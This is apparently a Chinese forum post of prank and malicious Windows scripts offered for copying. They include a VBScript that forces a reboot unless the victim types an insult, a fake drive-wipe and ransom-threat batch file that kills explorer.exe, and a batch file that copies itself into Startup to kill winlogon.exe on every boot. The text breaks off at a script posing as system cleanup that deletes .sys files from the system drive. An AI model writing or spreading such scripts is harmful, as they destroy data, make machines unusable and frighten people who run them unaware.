（1）on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""哈哈你惨了，回答个问题才不关你机，不回答我问题就在就一分钟关你机，请回答""我是个傻瓜"" 不信，试试看···"" ",0 ,true dim a do while(a <> "我是个傻瓜") a = inputbox ("呵呵，说 我是个傻瓜,就不关机，快说，说 ""我是个傻瓜"" ","说不说","有本事就不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾！爽了吧！叫你不陪我说话" 用记事本保存扩展名为 .vbe (2）建个记事本 写上下事的代码，保存后改扩展名TXT 为bat 就可以了，这是吓人用的。 @ color 4f @echo off echo 删除计算机的C 盘的所有文件...... ping 127.0.0.1 /n 2 >nu l echo 已删除完毕 echo. echo 删除计算机的D 盘的所有文件...... ping 127.0.0.1 /n 2 >nu l echo 已删除完毕 echo. echo 删除计算机的E 盘的所有文件...... ping 127.0.0.1 /n 2 >nu l echo 已删除完毕 @ color echo. echo. ========================================= echo. 夜黑杀人夜，风高放火天，哈哈 …… echo. ========================================= echo. 系统将马上崩溃...... echo. 这是一个木马程序......所有资料已经传到 ************ shutdown /r /t 300 /c "想要回你的资料可以给我发个信，不过先准备点那个……" ntsd -c q -pn explorer.exe ping 127.0.0.1 /n 20 >nul start explorer.exe shutdown -a 这是个开机蓝屏得小程序 @echo off set var=%userprofile%\「开始」菜单\程序\启动 xcopy/y %0 "%var%"\ cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul 然后保存为.bat 格式即可 注意：请勿拿自己得电脑做实验 后果自负哦 代码如下： @echo off echo 正在清理系统文件，请稍等...... del /f /s /q %systemdrive%\*.sys del /f /s /q %systemdrive...
